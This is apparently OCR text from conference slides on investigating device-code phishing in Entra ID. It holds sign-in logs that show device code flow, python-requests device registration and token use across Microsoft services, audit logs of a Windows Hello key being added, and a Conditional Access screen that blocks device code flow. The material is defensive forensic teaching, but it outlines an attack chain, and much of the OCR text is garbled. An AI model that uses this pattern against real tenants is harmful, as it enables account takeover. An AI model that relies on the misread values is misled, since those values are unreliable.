1-1b79-4 2603:1036:5:c Browser

Browser
Browser
Browser

o

Linkable identifier claims

This table describes all the linkable identifier claims in the Ent

or the request
D uniguely identif

Represents the tenant that the user is

a unigue identifier for an entire se

he requestor

Device ID Join Type

8ce9c664-7ec3-4e9b-bfb' Azure AD registered
Bce9ch64-7ec3-4e9b-bfb Azure AD registered
8ce9dch64-Tec3-4edb-bfby Azure AD registered
8ce9ch64-7ec3-4edb-bfty Azure AD registered
8oe9c664-7ec3-4e9b-bfb' Azure AD registered
8ce9c664-7ec3-4e9b-bfb' Azure AD registered
B8ce9ch64-7ec3-4e9b-bfb Azure AD registered
8ce9dch64-7ec3-4edb-bfty Azure AD registered
8cedc664-Tec3-4e9b-bfb: Azure AD registered
Bce9c664-7ec3-4e9b-bfb' Azure AD registered

O nOEEA Fard AaBl bbb Ao AT cmmicbncnd

tokens.

r, which is the

pplicatic

ng in to.

authentication. This ID helps link all authentication ar

vhen the authentication for this token occurre

Session ID

003ebe99-e706-2d22-8566-f397b51e9d9b
003ebe99-e706-2d22-8566-f397b51e9d9b
003ebe99-e706-2d22-8566-f997b51e9d9b
003ebe99-e706-2d22-8566-f997b51e9d9b
003ebe99-e706-2d22-8566-f997b51e9d9b
003ebe99-e706-2d22-8566-f997b51e9d9b
003ebe99-e706-2d22-8566-f397b51e9d9b
003ebe99-258a-3aa0-c23e-69d45d879cd4
003ebe99-258a-3aa0-c23e-69d45d879cd4
003ebe99-258a-3aa0-c23e-69d45d879cd4
003ebe99-258a-3aa0-c23e-69d45d879cd4
003ebe99-258a-3aa0-c23e-69d45d879cd4
003ebe99-258a-3aa0-c23e-69d45d879cd4
003ebe99-258a-3aa0-c23e-69d45d879cd4
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on and is generated when a user does

issued from a single

Represents a unigue identifier for the device from which a user is interacting with an
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Sign-in Logs

Interac Date (UTC) User agent Correlation |0 Usermnama Incoembng Authenticati Original transfer o Token Application Application 1D App ownr tna Rsource Rasourca 1D Resource taran Resowros ow Home tenant ID 1P address  Clentapp  Device ID Join Typa Sasshon 1D

INT  2026-01-11T04:22:062  Mazilla/5.0 [Macintoih; Intel M 8425f280-95d5-0806-% josBacme.com  pone  none deviceCodeFlow 1002 Microdoft Authentication Broker  2009ed98-3469-4536-ade2-F981% Microsoft Inture Enrollment cdeboess-015a- 04902 1679- Flcdef31-231 F7C04502-1679-4 216.9.110.12  Mobile Apps D03ebedS-eP06-2d22-B566-FO9THE 1e9d%h
INT  FO26-01-11TO4: 22087  Meorilla/5.0 [Macintoih; Intel M 84a51080-0545-2826-% joe@acme.com  rone  devicelode deviceCodeFlow 1002 Micresoft Authentication Broker  2009ed98-2469-4536-ade 2-198 1% Microsolt Inturs Encollment cebee55-015a- TedB02-1679- MBodef31-231 F7e04502-1679-4 216.9.110.12  Mebile Apgps D03ebedd-e706-2d22-B566-199Th5 1eddh
WON  2026-01-11T04:22:112  Maozilla/s.0 [Macintosh; Darwin 8425fa80-95d5-38c6-% joei@acme.com  rone  none deviceCodeFlow 1002 Microsoft Authentication Broker  29d%edS8-246%- f8odef3l-a3le-¢ Microsoft Intune Enroliment ddebee5%-015a- Fc8d502- 1679 flodef31-a31 F7c84502-1079-4 216.9.110.12 Mobile Apps 003cheS5-e706-2d22-B566- 195 Th5 1e9dSh
HON  2026-01-11T04:22:127  Mazilla/S.0 [Macintesh; Darain 19208962 6563-4182-8 joe@acme.com  rone  none deviceCodeFlow 1002 Micrcsoft Authentication Broker  209c9ed98-2465-4536-ade 2-F08 1k Device Registration Service O1ch2BY6- Tebd- Fc04502- 1bT9- Fledef31-a31 F7c04202-10670-4 216.9.110.12  Mobile Apps 003ehedS-eP06- 242 2-B566-FA9ThE 1e9doh
NON  2026-01-10T04:22:19  pythos-requests/2.32.3 ¢AT1anbc-0313-0114-5€ joe@acme.com  ronE PO dviceCoder low Wcrosoft Authentication Broker 29090098 2469-4536-ace 219810 Wirdows Azure Active Directory  D0000002-0000- f7c94502- 1679- fBedef 31-231 1709450210794 216.9.100.12 Mobile Apps. Boe9e664-Ter3-dedb-bily Azure AD registered  003ebed9-e706-2d22-8566- 199705 1e9d50
INT 2026-01-11T08:22:237  Mazllla/5.0 [Windows NT 10.0; dd723956.bd?0-46ab-b joeacme.com  primangd none devioe Codef low Macrosoft Device Registration Clie dd7632716- 5840 4acb-a526-B8Th: Device Registration Sendce 01chZB76- Tebd- F7c94502- 1679 flcdef31-a31 709450210794 216.9.110.12 Mobile Apps Boe9o66a-Tec3-dedb-bily Azure AD registered  003ebe99.¢ 706242 2-8566-F99Th5 1e9d5h
HON - 2026-01-11T04:32:357  pythonrrequests/2.32.3 2edaf60-0040-2042-b joe@acmecom  pane  Hone i CodeF o igrodoft Devioe Registration Oie ddT62716-584d- FBodef31-a31e- Device Registration Sendoe 01et2BIE-Tebd- 04902 1679- FBedef31-031 F7c04502-1679-4 216.9.110012 Mabile Apps Boe9o6bd-Tec3-dedb-bily Arure AD registered  D03ebed3-e706-2d22-8566-199Th5 160450
INT  RO26-01-10TO4:22:292  pythen-requests/2.32.3 dBcI0EeT-1357-42e2-% joe@acme.com  rane  none rane Windows Sign In 3Baa3b87-206d-4817-b275-Ta3 1l Wirdows Anure Active Directory  CODDO00Z-00D0- f7cB4502-1679- MBedel31-231 17c94502-1679-4 216.9.110.12 Mobile Apps. BoeSc564-Tec3-deTb-bily Azure AD registered  003ebe59-2582-3aa0-c23e- 690454875 dd
INT  2026-01-11T04:22:357  Maozilla/5.0 [Windows NT 1000; 92c3e5%a-674d-60b2-2 joe@acme.com  primanyt none none Office 365 Exchange Online DOOO000Z-O000-1 FBedef31-a¥le- Office 355 Exchange Online DO00C002-0000- FIcBd502- 1679 Flcdef31-231 FTcO4502-10679-4 216.9.110.12 Browser Boecbba-Tecd-de9b-bibd Azure AD registered  003ebe3-2582-2aa0-c23e-E9045d8 TR0
BNT  P026-01-13T04:32:367  Mearilla/S 0 [Windeows NT 10.0; $37adbe5-4400-0615-d| aeme.com  peimand none nane One Outlook Web D195bi20-a 13-4 FRedef31-a31e—+ Office 365 Exchange Online OOD00002-0000- FTc04502-1b70- Fledef3]1-a31 I7c04502-1670-4 316.9.110.17 Browser Beedehbd-Teed-dedb-bib Azure AD registered 000ebedd-258a-3aa0-c2 3o 6004 SdRT A A

Interac Date (UTC) User agent Correlation ID Username Incoming Authenticati Mn Token Applicati Application ID
INT 2026-01-11T04:22:06Z Mozilla/5.0 (Macintosh; Intel M 84a5fa40-95d5-48c6-9¢ joe@acme.com none none deviceCodeFlow 1002 Microsoft Authentication Broker \, 29d9ed98-a469-

INT 2026-01-11T04:22:08Z Mozilla/5.0 (Macintosh; Intel M 84a5fa40-95d5-48c6-9¢ joe@acme.com none deviceCode] deviceCodeFlow 10024 Microsoft Authentication Broker

NON 2026-01-11T04:22:11Z Mozilla/5.0 (Macintosh; Darwin 84a5fa40-95d5-48c6-9¢ joe@acme.com none none deviceCodeFlow 1002) Microsoft Authentication Broker R9d9ed98-a469-
NON 2026-01-11T04:22:12Z Mozilla/5.0 (Macintosh; Darwin 19a0896e-65b3-418a-8 joe@acme.com none none deviceCodeFlow 1002 Microsoft Authentication Broker 9d9ed98-a469-
NON 2026-01-11T04:22:19Z python-requests/2.32.3 c471ae6c-d313-4f14-9¢ joe@acme.com none  none deviceCodeFlow Microsoft Authentication Broker P9d9ed98-a469-
INT  2026-01-11T04:22:23Z Mozilla/5.0 (Windows NT 10.0; dd723956-bd70-46ab-b joe@acme.com primaryf none deviceCodeFlow Microsoft Device Registration Clielfld762716-544d-
NON 2026-01-11T04:22:25Z python-requests/2.32.3 ae9af460-0b49-4a42-bl joe@acme.com none  none \deviceCodeFlow J Microsoft Device Registration Clielfdd762716-544d-
INT  2026-01-11T04:22:29Z python-requests/2.32.3 d8c908e7-f357-42e2-9¢ joe@acme.com none  none none Windows Sign In 8aa3b87-a06d-
INT  2026-01-11T04:22:35Z Mozilla/5.0 (Windows NT 10.0; 92c3e55a-674d-60b2-a: joe@acme.com primaryf none none Office 365 Exchange Online 0000002-0000-

INT  2026-01-11T04:22:36Z Mozilla/5.0 (Windows NT 10.0; f97ad3e5-4409-0613-dl joe@acme.com primaryf none none One Outlook Web 199bf20-a13f-4
NON 2026-01-11T04:22:36Z 0824e26d-c658-6c9f-4e joe@acme.com none  none none ffice 365 Exchange Online 00000002-0000-
NON 2026-01-11T04:22:37Z Mozilla/5.0 (Windows NT 10.0; f97ad3e5-4409-0613-dl joe@acme.com nhone none none 1008 On 9199bf20-a13f-4
NON 2026-01-11T04:22:387 261665de-c209-89a8-a joe@acme.com none  none none 1008 Office 365 Exchange Online 00000002-0000-
NON 2026-01-11T04:22:38Z Mozilla/5.0 (Windows NT 10.0; 10434950-92e5-492f-0. joe@acme.com none none none 1008 One Outlook Web 9199bf20-a13f-4
NON 2026-01-11T04:22:38Z Mozilla/5.0 (Windows NT 10.0; 971d780e-bbf5-af5e-2€ joe@acme.com none none none 1008 One Outlook Web 9199bf20-a13f-4
NON 2026-01-11T04:22:40Z 298281e6-9c54-46f7-8¢ joe@acme.com none none none 1005 My Apps 2793995e-0a7d-
NON 2026-01-11T04:22:40Z Mozilla/5.0 (Windows NT 10.0; 81a4c88a-9252-e3f2-bt joe@acme.com none none none 1008 One Outlook Web 9199bf20-a13f-4
NON 2026-01-11T04:22:40Z 554cdfd8-1612-4bb3-al joe@acme.com none  none none 1008 Office365 Shell WCSS-Server 5f09333a-842c-4
NON 2026-01-11T04:22:40Z 554cdfd8-1612-4bb3-aljoe@acme.com none  none none 1008 Office365 Shell WCSS-Server 5f09333a-842c-4
NON 2026-01-11T04:22:40Z Mozilla/5.0 (Windows NT 10.0; c5325ede-042b-63bb-b joe@acme.com none none none 1008 One Outlook Web 9199bf20-a13f-4
NON 2026-01-11T04:22:40Z Mozilla/5.0 (Windows NT 10.0; f0965755-80ab-de0a-d{ joe@acme.com none none none 1008 One Outlook Web 9199bf20-a13f-4
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Sign-in Logs

Interac Date (UTC)

INT
INT
NON
NON
NON
INT
NON
INT
INT
INT
NON

2026-01-11T04:22:062
2026-01-11T04:22:082
2026-01-11T04:22:112
2026-01-11T04:22:122
2026-01-11T04:22:192
2026-01-11T04:22:232
2026-01-11T04:22:252

User agent Correlation ID Usemame

Mozilla/5.0 (Macintosh; Intel M B4a5fa40-95d5-48c6-9¢ joe@acme.com
Mozilla/5.0 (Macintosh; Intel M 84a5fa40-95d5-48¢6-9¢ joe@acme.com
Mozilla/5.0 (Macintosh; Darwin 84a5fad0-95d5-48c6-9¢ joe@acme.com
Mozilla/5.0 (Macintosh; Darwin 19a0896e-65b3-418a-8 joe@acme.com
python-requests/2.32.3 c471ae6c-d313-4f14-9 joe @acme.com
Mozilla/5.0 (Windows NT 10.0; dd723956-bd70-46ab-b joe@acme.com
python-requests/2.32.3 ae9af460-0b49-4a42-bl joe@acme.com

Incominy Authenticati Original transfer n Token Application

none
none
ncne  none
ncne  none
none  none
primaryf none
none  none

none

deviceCodeFlow

deviceCode deviceCodeFlow

deviceCodeFlow
deviceCodeFlow
deviceCodeFlow
deviceCodeFlow
deviceCodeFlow

1002 Microsoft Authentication Broker
1002 Microsoft Authentication Broker
1002 Microsoft Authentication Broker
1002 Microsoft Authentication Broker

Microsoft Authentication Broker

Application ID  App owner tena Resource
29d9ed98-a469-4536-ade2-f981k Microsoft Intune Enroliment
29d9ed98-a469-4536-ade2-f981k Microsoft Intune Enroliment
29d9ed98-a469-: fBcdef31-a3le-¢ Microsoft Intune Enrollment
29d9ed98-a469-4536-ade2-f981k Device Registration Service

29d9ed98-a469-4536-ade2-f981k Windows Azure Active Directory

Microsoft Device Registration Cliei dd762716-544d-4aeb-a526-687b: Device Registration Service
Microsoft Device Registration Cliei dd762716-544d- f8cdef31-a31e- Device Registration Service

Resource 1D Resource tenan Resource owi Home tenant ID IP address  Clientapp  Device ID
ddebce55-015a- f7c94902-1b79- f8cdef31-a31 f7c34902-1b79-4 216.9.110.12 Mobile Apps
ddebce55-015a- f7¢94902-1b79- f8cdef31-a31 f7c94902-1679-4 216.9.110.12 Mobile Apps
ddebce55-015a- f7¢34902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12 Mobile Apps
01cb2876-7ebd- f7c94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Mobile Apps
00000002-0000- f7c¢94902-1b79- f8edef31-a31 f7c¢94902-1b79-4 216.9.110.12 Mobile Apps 8ce9cb64-7ec3-4e9b-bfb: Azure AD registered
01cb2876-7ebd- f7c¢34902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Mobile Apps B8ce9c664-7ec3-4e9b-bfb' Azure AD registered
01cb2876-7ebd- f7c¢94902-1b79- f8edef31-a31 f7¢94902-1b79-4 216.9.110.12 Mobile Apps 8ce9c664-Tec3-4edb-bfbr Azure AD registered

Join Type

Session ID

003ebe99-e706-2d22-8566-f397b51e9d9b
003ebe99-e706-2d22-8566-f397b51e9d9b
003ebe99-e706-2d22-8566-f997b51e9d9b
003ebe99-e706-2d22-8566-f997b51e9d9b
003ebe99-e706-2d22-8566-f997b51e9d9b
003ebe99-e706-2d22-8566-f997b51e9d9b
003ebe99-e706-2d22-8566-f397b51e9d9b

2026-01-11T04:22:292
2026-01-11T04:22:352
2026-01-11T04:22:362
2026-01-11T04:22:362

python-requests/2.32.3

d8c908e7-f357-42e2-9¢ joe@acme.com

Mozilla/5.0 (Windows NT 10.0; 92c3e55a-674d-60b2-a: joe@acme.com

Mozilla/5.0 (Windows NT 10.0; f97ad3e5-4409-0613-dl joe@acme.com

0824e26d-c658-6c9f-4¢ joe@acme.com
a "

none  none
primaryf none
primaryl none
none none

none
none
none
none

asnn nzan d

38aa3b87-a06d-4817-b275-7a31¢ Windows Azure Active Directory
00000002-0000-( f8cdef31-a31e-¢ Office 365 Exchange Online
9199bf20-213f-4 f8cdef31-a3le- Office 365 Exchange Online
00000002-0000-( fBcdef31-a31e-z Office 365 Exchange Online

21 21 ffion CC Cocl "

AIOOLEID 2978 A $0cdak

Windows Sign In

Office 365 Exchange Online

One Outlook Web

Office 365 Exchange Online
doaliiiloh

2630 £000

00000002-0000- f7c94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Mobile Apps 8ce9dc664-Tec3-4e9b-bfb: Azure AD registered
00000002-0000- f7c¢34902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Browser
00000002-0000- f7c¢34902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Browser
00000002-0000- f7c¢34902-1b79- f8cdef31-a31 f7c¢94902-1b79-4 2603:1036:5:c Browser

8oe9c664-7ec3-4e9b-bfb' Azure AD registered
Bce9c664-7ec3-4e9b-bfb' Azure AD registered
B8ce9ch64-7ec3-4e9b-bfb Azure AD registered

Akan anaznaanan o Zaad Safie bl d An

003ebe99-258a-3aa0-c23e-69d45d879cd4
003ebe99-258a-3aa0-c23e-69d45d879cd4.
003ebe99-258a-3aa0-c23e-69d45d879cd4
003ebe99-258a-3aa0-c23e-69d45d879cd4

o Arp. o CEWT-w

Interac Date (UTC)

INT

INT

NON
NON
NON
INT

NON
INT

INT

INT

NON
NON
NON
NON
NON
NON
NON
NON
NON
NON
NON

2026-01-11T04:22:062
2026-01-11T04:22:08Z
2026-01-11T04:22:112
2026-01-11T04:22:12Z
2026-01-11T04:22:19Z
2026-01-11T04:22:232
2026-01-11T04:22:25Z
2026-01-11T04:22:292
2026-01-11T04:22:35Z
2026-01-11T04:22:36Z
2026-01-11T04:22:362
2026-01-11T04:22:37Z
2026-01-11T04:22:38Z
2026-01-11T04:22:38Z
2026-01-11T04:22:38Z
2026-01-11T04:22:40Z
2026-01-11T04:22:40Z
2026-01-11T04:22:40Z
2026-01-11T04:22:40Z
2026-01-11T04:22:40Z
2026-01-11T04:22:40Z

App owner tena ﬁource

f8cdef31-a3le-

f8cdef31-a3le-

f8cdef31-a3le-
f8cdef31-a3le-|
f8cdef31-a3le-
f8cdef31-a31le-
f8cdef31-a31le-|
f8cdef31-a3le-|
f8cdef31-a31le-|
f8cdef31-a3le-
f8cdef31-a3le-|
f8cdef31-a3le-
f8cdef31-a31le-
f8cdef31-a31le-

RSAC
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Microsoft Intune Enrollment\
Microsoft Intune Enrollment
Microsoft Intune Enrollment
Device Registration Service
Windows Azure Active Directory
Device Registration Service
Device Registration Service
Windows Azure Active Directory
Office 365 Exchange Online
Office 365 Exchange Online
Office 365 Exchange Online
Office 365 Exchange Online
Office 365 Exchange Online
Office365 Shell WCSS-Server
Microsoft Graph

Microsoft Graph

Microsoft People Cards Service
My Apps

Power Platform API
IrisSelectionFrontDoor

f8cdef31-a31le-¢

Resource ID Resource tenan Resource owi Home tenant ID IP address

d4ebce55-015a- f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12
ddebce55-015a-f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12
d4ebce55-015a- f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12
01cb2876-7ebd- f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12
00000002-0000- f7¢94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12
01cb2876-7ebd- f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12
01cb2876-7ebd- f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12
00000002-0000- f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12
00000002-0000- f7¢94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12
00000002-0000- f7c94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12

Client app
Mobile Apps
Mobile Apps
Mobile Apps
Mobile Apps
Mobile Apps
Mobile Apps
Mobile Apps
Mobile Apps
Browser
Browser

00000002-0000- f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 2603:1036:5:c Browser

00000002-0000- f7c¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12
00000002-0000- f7c¢94902-1b79- f8cdef31-a31 f7c¢94902-1b79-4 216.9.110.12
5f09333a-842c-¢ f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12
00000003-0000- f7c94902-1b79- f8cdef31-a31 f7c¢94902-1b79-4 216.9.110.12
00000003-0000- f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12
394866fc-eedb-£ f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12
2793995e-0a7d- f7c¢94902-1b79- f8cdef31-a31 f7c¢94902-1b79-4 216.9.110.12
8578e004-a5¢6- f7¢94902-1b79- f7¢94902-1b79-4 216.9.110.12
16aeb910-ceb8- f7c94902-1b79- f7¢94902-1b79-4 216.9.110.12
4354e225-50c9- f7c94902-1b79- f7c94902-1b79-4 216.9.110.12

Device ID Join Type

8ce9cb64-7ec3-4e9b-bfb! Azure AD registered
8ce9cb64-7ec3-4e9b-bfb! Azure AD registered
8ce9c664-7ec3-4e9b-bfb! Azure AD registered
8ce9cb64-7ec3-4eSb-bfb! Azure AD registered
8ce9cb64-7ec3-4eSb-bfb! Azure AD registered
8ce9c664-7ec3-4e9b-bfb! Azure AD registered
8ce9cb64-7ec3-4eSb-bfb! Azure AD registered

Browser 8ce9c664-7ec3-4e9b-bfb! Azure AD registered
Browser 8ce9c664-7ec3-4e9b-bfb! Azure AD registered
Browser 8ce9cb64-7ec3-4eSb-bfb! Azure AD registered
Browser 8ce9c664-7ec3-4e9b-bfb! Azure AD registered
Browser 8ce9cb64-7ec3-4eSb-bfb! Azure AD registered
Browser 8ce9cb64-7ec3-4e9b-bfb! Azure AD registered
Browser 8ce9c664-7ec3-4e9b-bfb! Azure AD registered
Browser 8ce9c664-7ec3-4e9b-bfb! Azure AD registered
Browser 8ce9c664-7ec3-4e9b-bfb! Azure AD registered

Browser

8ce9cb64-7ec3-4e9b-bfb! Azure AD registered

u e!ell—e!06-2d22-8

003ebe99-e706-2d22-8
003ebe99-e706-2d22-8
003ebe99-e706-2d22-8
003ebe99-e706-2d22-8
003ebe99-e706-2d22-8
003ebe99-e706-2d22-8
003ebe99-258a-3aal-c2|
003ebe99-258a-3aal-c2|
003ebe99-258a-3aa0-c2
003ebe99-258a-3aa0-c2|
003ebe99-258a-3aa0-c2|
003ebe99-258a-3aa0-c2
003ebe99-258a-3aa0-c2|
003ebe99-258a-3aa0-c2
003ebe99-258a-3aal-c2|
003ebe99-258a-3aa0-c2
003ebe99-258a-3aa0-c2|
003ebe99-258a-3aa0-c2|
003ebe99-258a-3aa0-c2
003ebe99-258a-3aa0-c2|




Sign-in Logs

Interac Date (UTC)

INT  2026-01-11T04:22:062
INT  2026-01-11T04:22:082
NON  2026-01-11T04:22:112
NON  2026-01-11T04:

NON  2026-01-11T04:22:
INT 2026-01-11T04:22:232
NON  2026-01-11T04:22:25Z
INT  2026-01-11T04:22:29Z
INT  2026-01-11T04:

INT  2026-01-11T04;

NON  2026-01-11T04:22:36Z
NON  2026-01-11T04:;

NON  2026-01-11T04.

NON  2026-01-11T04:

NON  2026-01-11T04:22:
NON  2026-01-11T04:22:402
NON  2026-01-11T04:22:402
NON

NON

NON  2026-01-11T04:22:407
NON  2026-01-11T04:22:407

User agent Correlation ID L Incoming Original transfer n Token Application Application ID  App owner tena Resource Resource 1D Resource tenan Resource owi Home tenant ID IP address  Clientapp Device ID Join Type Session ID
Mozilla/5.0 (Macintosh; Intel M 84a5fa40-95d5-48¢6-9¢ joe@acme.com  none none deviceCodeFlow 1002 Microsoft Authentication Broker 29d9ed98-a469-4536-ade2-f981b Microsoft Intune Enroliment ddebce55-015a- f7c94902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Mobile Apps 003ebe99-e706-2d22-8566-f997b51e9d9b
Mozilla/5.0 (Macintosh; Intel M 84a5fa40-95d5-48c6-9¢ joe@acme.com none  deviceCode deviceCodeFlow 1002 Microsoft Authentication Broker —29d9ed98-a469-4536-ade2-f981t Microsoft Intune Enroliment ddebce55-015a- f7c94902-1b79- f8cdef31-a31 7c¢94902-1b79-4 216.9,110.12 Mobile Apps 003ebe99-e706-2d22-8566-f997b51e9d9b
Mozilla/5.0 (Macintosh; Darwin 84a5fad0-95d5-48c6-9¢ joe@acme.com  none none deviceCodeFlow 1002 Microsoft Authentication Broker 29d9ed98-a469-: fBcdef31-a3le-¢ Microsoft Intune Enrollment ddebce55-015a- f7¢34902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12 Mobile Apps 003ebe99-e706-2d22-8566-f997b51e9d9b
Mozilla/5.0 (Macintosh; Darwin 19a0896e-65b3-418a-8 joe@acme.com  none none deviceCodeFlow 1002 Microsoft Authentication Broker  29d9ed98-a469-4536-ade2-f981kb Device Registration Service 01cb2876-7ebd- f7c34902-1b79- f8cdef31-a31 f7c94902-1b79-4 216.9.110.12 Mobile Apps 003ebe99-e706-2d22-8566-f997b51e9d9b
python-requests/2.32.3 c471ae6c-d313-4f14-9€ joe@acme.com none  none deviceCodeFlow Microsoft Authentication Broker  29d9ed98-a469-4536-ade2-f981b Windows Azure Active Directory 00000002-0000- f7¢94902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12 Mobile Apps 8ce9c664-7ec3-4e9b-bfb' Azure AD registered 003ebe99-e706-2d22-8566-f997b51e9d9b
Mozilla/5.0 (Windows NT 10.0; dd723956-bd70-46ab-b joe@acme.com  primaryf none deviceCodeFlow Microsoft Device Registration Cliel dd762716-544d-4aeb-a526-687b: Device Registration Service 01cb2876-7ebd- f7c¢34902-1b79- f8cdef31-a31 f7¢94902-1b79-4 216.9.110.12 Mobile Apps 8ce9dch64-7ec3-4e9b-bfb' Azure AD registered 003ebe99-e706-2d22-8566-f997b51e9d9b
python-requests/2.32.3 ae9af460-0b49-4a42-bl joe@acme.com none  none deviceCodeFlow Microsoft Device Registration Cliei dd762716-544d- f8cdef31-a31e- Device Registration Service 01cb2876-7ebd- f7c94902-1b79- f8edef31-a31 f7c94902-1b79-4 216.9.110.12 Mobile Apps 8ce9dc664-7ec3-4e9b-bfb: Azure AD registered 003ebed9-e706-2d22-8566-f997b51e9d9b
python-requests/2.32.3 d8c908e7-f357-42e2-9¢ joe@acme.com none  none none Windows Sign In 38aa3b87-a06d-4817-b275-7a31¢ Windows Azure Active Directory 00000002-0000- 7c¢94902-1b79- f8cdef31-a31 f7c¢94902-1b79-4 216.9.110.12 Mobile Apps 8ce9dc664-7ec3-4edb-bfby Azure AD registered 003ebe99-258a-3aa0-c23e-69d45d879cd4
Moy Ba-3aa0-c23e-69d45d879cd4
Mo ) . . . Ba-3aa0-c23e-69d45d879cd4
Home > Cloudy Daze Activity Details: Sign-ins X fsmn s
Mg Ba-3aa0-c23e-69d45d879cd4
M M Ba-32a0-c23e-69d45d879cd4
) CIOUdy Daze | S|gn‘|n IOgS ﬁ? a-3aa0-c23e-69d45d879cd4
Ma a-3aa0-c23e-69d45d879cd4
8a-3aa0-c23e-69d45d879cd4
Ma . . . . . . . P Ba-3aa0-c23e-69d45d879cd4
Basicinfo  Location  Deviceinfo  Authentication Details  Conditional Access Report-only ' Ba3sa0-co3e-69d45de75cds
1% (o)} Ba-3aa0-c23e-69d45d879cdd
Ma ~ « i Download ~/ EZ a-3aa0-c23e-69d45d879cd4
M . - . e - -3aa0-c23e-69d45d879cd4d
1 Authentication Policies Applied frnese ©
Overview o . . i
o €) This view will soon Per-user multifactor authentication
— p . . o N .
2 Preview features Date Authentication method Authentication met... | Succeeded Result detail
/D Date : Last 24 hours . .
A Diagnose and solve problems 1/14/2026, 451:07 AM | Windows Hello for Business true
Manage ign-i i : g ; :
? 9 User sign-ins (interac 1/14/2026, 4:51:07 AM  Previously satisfied true MPFA requirement satis...

v Monitoring
3) Sign-in logs
B Audit logs
aa Provisioning logs
%% Health

2 Log Analytics

RSAC
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Date (UTC)

N

1/14/2026, 5:05:17 Al

1/14/2026, 5:05:14 At

1/14/2026, 4:57:00 Al

1/14/2026, 4:56:58 At

1/14/2026, 4:56:57 Al




Audit Logs

Audit Log Details

Home > Cloudy Daze

Cloudy Daze | Audit logs

© Overview

= Preview features

X Diagnose and solve problems

> Manage

~ Monitoring
3) Sign-in logs
& Audit logs
i Provisioning logs

% Health

L Log Analytics

@ Diagnostic settings

@ Workbooks

7l Usage & insights

€
<

(Preview)

> Troubleshooting + Support

Directory

Bulk operation results

‘l’ Download @ Export Data Settings O Refresh

@ Manage view

(© Want to switch back to the legacy audit logs experience? Click here to leave the preview.

Y Add filter

Date |

1/13/26, 9:05:17 PM
1/13/26, 8:57:54 PM
1/13/26, 8:57.00 PM
1/13/26, 8:56:56 PM
1/13/26, 8:56:43 PM
1/13/26, 8:56:35 PM
1/13/26, 8:56:29 PM
1/13/26, 8:53:00 PM
1/13/26, 8:52:36 PM
1/13/26, 8:52:36 PM
1/13/26, 8:52:36 PM

1/13/26, 8:50:50 PM

Show dates as: Local

Custom Security

Service

Self-service Group Mana...

B2C

Self-service Group Mana...
Self-service Group Mana...
Self-service Group Mana...
Self-service Group Mana...

Self-service Group Mana...

Core Directory
Core Directory
Core Directory
Core Directory

Device Registration Serv...

Date range: Last 24 hours

Service : All

Category

GroupManagement
Authentication
GroupManagement
GroupManagement
GroupManagement
GroupManagement
GroupManagement
Device

Device

Device

Device

UserManagement

4 Got feedback?

Category : All Activity : All % Reset
Correlation ID bd891381-1282-4c18-alaa-3300b87171b8
Category UserManagement
Activity Status success

Settings_GetSettingsAsync
Validate user authentication
Settings_GetSettingsAsync
Settings_GetSettingsAsync
Settings_GetSettingsAsync
Settings_GetSettingsAsync
Settings_GetSettingsAsync
Delete device

Delete device

Delete device

ico

Activity ~ Target(s) Modified Properties

Activity
Date 1/13/2026, 8:50 PM
Activity Type Add Windows Hello for Business credential

Status reason
User Agent Dsreg/10.0 (Windows 10.0.19044.1826)

Initiated by (actor)

Type User
Display Name
Object ID e731a6d2-ba0c-46f3-84bb-167f488cecda

IP address 104.2.74.23

Add Windows Hello for Business creder

User Principal Name merlin@cloudy-daze.com

RSAC
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Additional Details

Additionallnfo Successfully provisioned key with identifier 223dea97-60c4-4210-
bd72-e01392e5098e. KeyStrength: Normal. Details: Attributes:

[None], Platform: [Windows]

AAGuid Unknown




Conditional Access Policies (CAP)

Home > Conditional Access | Policies >

New

Conditional Access policy

Control access based on Conditional Access
policy to bring signals together, to make
decisions, and enforce organizational policies.
Learn more &

Name *

Example: '‘Device compliance app policy'

Assignments

Users @

0 users and groups selected

Target resources ©

No target resources selected

Network NEw O

Not configured

Conditions ©

1 condition selected

Access controls

Grant @

0 controls selected

Session

0 controls selected

Control access based on signals from conditions
like risk, device platform, location, client apps, or

device state.

Device platforms @

Not configured

Locations &

Not configured

Client apps ©

Not configured

Filter for devices (O

Not configured

Authentication flows @

"Device code flow" and "Authentication
transfer"

Users

Apps

Network

Name *

Example: '‘Device compliance app policy

Assignments

Users @

0 users and groups selected

Include  Exclude

@ None
O All users

O Select users and groups

Name *

Select what this policy applies to

I Resources (formerly cloud apps) Y

Example: ‘Device compliance app policy' |

Assignments

Users @

0 users and groups selected

Target resources @

No target resources selected

Include  Exclude

O None

(7) All internet resources with Global Secure
Access

O All resources (formerly 'All cloud apps')

@ Select resources

€ "Select resources" must be col Select

T ——————————————————— Resources

| © office

00Q

Device code

Name *

E] okta

‘ Example: 'Device compliance app policy'

Include  Exclude

Assignments

O Any network or location

Users ©

0 users and groups selected

O All trusted networks and locatio

) All Compliant Network location

Target resources (O

No target resources selected

€ "Select resources” must be configured

